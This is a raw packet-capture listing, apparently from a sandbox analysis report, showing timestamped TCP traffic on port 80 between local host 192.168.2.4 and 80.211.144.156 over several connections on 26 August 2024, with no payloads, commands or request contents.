Aug 26, 2024 20:16:39.994698048 CEST	49748	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:39.994735956 CEST	49745	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:39.994860888 CEST	49748	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:39.995997906 CEST	80	49745	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:39.996028900 CEST	49745	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:39.999923944 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:39.999968052 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.000055075 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.000812054 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.001601934 CEST	80	49745	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.001641989 CEST	49745	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.001748085 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.001759052 CEST	80	49745	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.001791000 CEST	49745	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.003374100 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.003385067 CEST	80	49748	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.003428936 CEST	49748	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.003551960 CEST	80	49748	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.007658005 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.352456093 CEST	49748	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.379551888 CEST	80	49748	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.379694939 CEST	80	49748	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.379913092 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.379954100 CEST	80	49748	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.510348082 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.510488033 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.511043072 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.515892029 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.690160990 CEST	80	49748	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.715780973 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.716073990 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.722067118 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.722078085 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.722089052 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.722126007 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.722168922 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.727968931 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.728001118 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.728010893 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.728018999 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.728022099 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.728030920 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.728055000 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.728076935 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.728087902 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.728096962 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.728471994 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.734005928 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.734055996 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.734055996 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.734072924 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.734102011 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.734117985 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.734201908 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.734211922 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.734247923 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.734262943 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.734416008 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.734461069 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.738961935 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.739259005 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.739260912 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.739368916 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.739391088 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.739429951 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.744654894 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.744724035 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.749829054 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.749906063 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.749913931 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.750005960 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.755342960 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.755409002 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.760384083 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.760427952 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.760438919 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.760507107 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.765358925 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.765377998 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.765387058 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.765423059 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.765436888 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.765630960 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.765654087 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.765676975 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.765692949 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.765714884 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.765726089 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.765755892 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.765768051 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.852300882 CEST	49748	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.986664057 CEST	80	49748	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.987235069 CEST	80	49748	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.987279892 CEST	49748	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.992597103 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.992607117 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.992619038 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.992633104 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.992643118 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.992654085 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.992662907 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.992671013 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.992687941 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.992714882 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.997499943 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.997550964 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.997560978 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.997591019 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.997600079 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.997608900 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.997629881 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.997649908 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.997661114 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.997664928 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.997694016 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:40.997705936 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:40.998904943 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.002659082 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.002671003 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.002686024 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.002695084 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.002708912 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.002717972 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.002726078 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.002734900 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.002770901 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.003772020 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.003952980 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.007617950 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.007647991 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.007695913 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.007703066 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.007735968 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.007745028 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.007777929 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.007783890 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.007787943 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.007797956 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.007831097 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.007844925 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.007879019 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.007920980 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.008759022 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.008811951 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.009035110 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.009090900 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.012619972 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.012630939 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.012679100 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.012697935 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.012708902 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.012749910 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.012785912 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.012833118 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.012860060 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.012943029 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.012970924 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.012989998 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.013005972 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.013016939 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.013021946 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.013052940 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.013102055 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.013111115 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.013166904 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.013211966 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.013222933 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.013236046 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.013247013 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.013267040 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.013299942 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.013649940 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.013704062 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.013712883 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.013983965 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.013993979 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.014002085 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.017550945 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.017560959 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.017571926 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.017592907 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.017637968 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.017648935 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.017705917 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.017714977 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.017771959 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.017781973 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.017874956 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.017884016 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.017894983 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.018021107 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.018030882 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.018038988 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.018048048 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.018083096 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.018107891 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.018192053 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.018201113 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.018291950 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.018301964 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.018363953 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.018373013 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.018399954 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.018409014 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.169699907 CEST	49748	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.170501947 CEST	49749	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.174962044 CEST	80	49748	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.175384045 CEST	80	49749	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.175442934 CEST	49748	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.175470114 CEST	49749	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.175595045 CEST	49749	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.180393934 CEST	80	49749	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.524574995 CEST	49749	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.529555082 CEST	80	49749	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.529570103 CEST	80	49749	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.529582024 CEST	80	49749	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.541661978 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.649192095 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:41.867489100 CEST	80	49749	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:41.961719990 CEST	49749	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:42.002413034 CEST	80	49749	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:42.071070910 CEST	49749	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:42.217077971 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:42.217565060 CEST	49749	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:42.218391895 CEST	49750	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:42.222198963 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:42.222429037 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:42.223220110 CEST	80	49750	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:42.223856926 CEST	80	49749	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:42.224870920 CEST	49749	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:42.224884987 CEST	49750	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:42.225145102 CEST	49750	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:42.230003119 CEST	80	49750	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:42.579871893 CEST	49750	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:42.584830999 CEST	80	49750	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:42.584845066 CEST	80	49750	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:42.584852934 CEST	80	49750	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:42.922152996 CEST	80	49750	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:43.071082115 CEST	49750	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:43.316914082 CEST	80	49750	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:43.316950083 CEST	80	49750	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:43.317047119 CEST	49750	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:43.599242926 CEST	49750	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:43.600435019 CEST	49751	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:43.604351997 CEST	80	49750	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:43.604402065 CEST	49750	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:43.605262995 CEST	80	49751	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:43.605325937 CEST	49751	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:43.605504036 CEST	49751	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:43.610301018 CEST	80	49751	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:43.961941004 CEST	49751	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:44.040637970 CEST	49751	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:44.352333069 CEST	49751	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:44.957180977 CEST	80	49751	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:44.957604885 CEST	80	49751	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:44.957705021 CEST	49751	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:44.960896015 CEST	80	49751	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:44.961008072 CEST	49751	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:44.961220980 CEST	80	49751	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:44.963236094 CEST	80	49751	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:44.963260889 CEST	80	49751	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:44.963396072 CEST	80	49751	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:44.964442015 CEST	80	49751	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:44.966202021 CEST	80	49751	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:44.966325045 CEST	80	49751	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:45.527436972 CEST	49752	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:45.532394886 CEST	80	49752	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:45.532459021 CEST	49752	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:45.532718897 CEST	49752	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:45.538039923 CEST	80	49752	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:45.553509951 CEST	80	49751	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:45.577522039 CEST	49751	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:45.772326946 CEST	49753	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:45.777162075 CEST	80	49753	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:45.777232885 CEST	49753	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:45.781317949 CEST	49753	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:45.786390066 CEST	80	49753	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:45.884138107 CEST	49752	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:45.889024019 CEST	80	49752	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:45.889081001 CEST	80	49752	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:46.136636972 CEST	49753	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:46.141881943 CEST	80	49753	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:46.141896963 CEST	80	49753	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:46.141906023 CEST	80	49753	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:46.204262018 CEST	80	49752	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:46.274214029 CEST	49752	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:46.338114977 CEST	80	49752	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:46.432575941 CEST	49752	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:46.459363937 CEST	80	49753	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:46.539840937 CEST	49753	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:46.596347094 CEST	80	49753	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:46.649198055 CEST	49753	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:46.728909969 CEST	49752	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:46.729000092 CEST	49753	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:46.729583025 CEST	49754	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:46.734031916 CEST	80	49752	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:46.734090090 CEST	49752	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:46.734427929 CEST	80	49754	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:46.734654903 CEST	49754	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:46.734777927 CEST	80	49753	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:46.734816074 CEST	49753	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:46.738078117 CEST	49754	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:46.742815018 CEST	80	49754	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:47.086824894 CEST	49754	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:47.317657948 CEST	80	49754	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:47.318125010 CEST	80	49754	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:47.318455935 CEST	80	49754	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:47.433161974 CEST	80	49754	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:47.477380991 CEST	49754	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:47.654253006 CEST	80	49754	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:47.696099043 CEST	49754	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:48.089268923 CEST	49754	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:48.090125084 CEST	49755	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:48.095074892 CEST	80	49755	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:48.095155954 CEST	49755	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:48.095293999 CEST	80	49754	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:48.095371008 CEST	49754	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:48.095698118 CEST	49755	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:48.100640059 CEST	80	49755	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:48.446207047 CEST	49755	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:48.451386929 CEST	80	49755	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:48.451400995 CEST	80	49755	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:48.451409101 CEST	80	49755	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:48.761935949 CEST	80	49755	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:48.805537939 CEST	49755	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:48.956718922 CEST	80	49755	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:49.008593082 CEST	49755	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:49.083661079 CEST	49755	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:49.084423065 CEST	49756	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:49.088953972 CEST	80	49755	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:49.089025021 CEST	49755	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:49.089606047 CEST	80	49756	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:49.089674950 CEST	49756	80	192.168.2.4	80.211.144.156
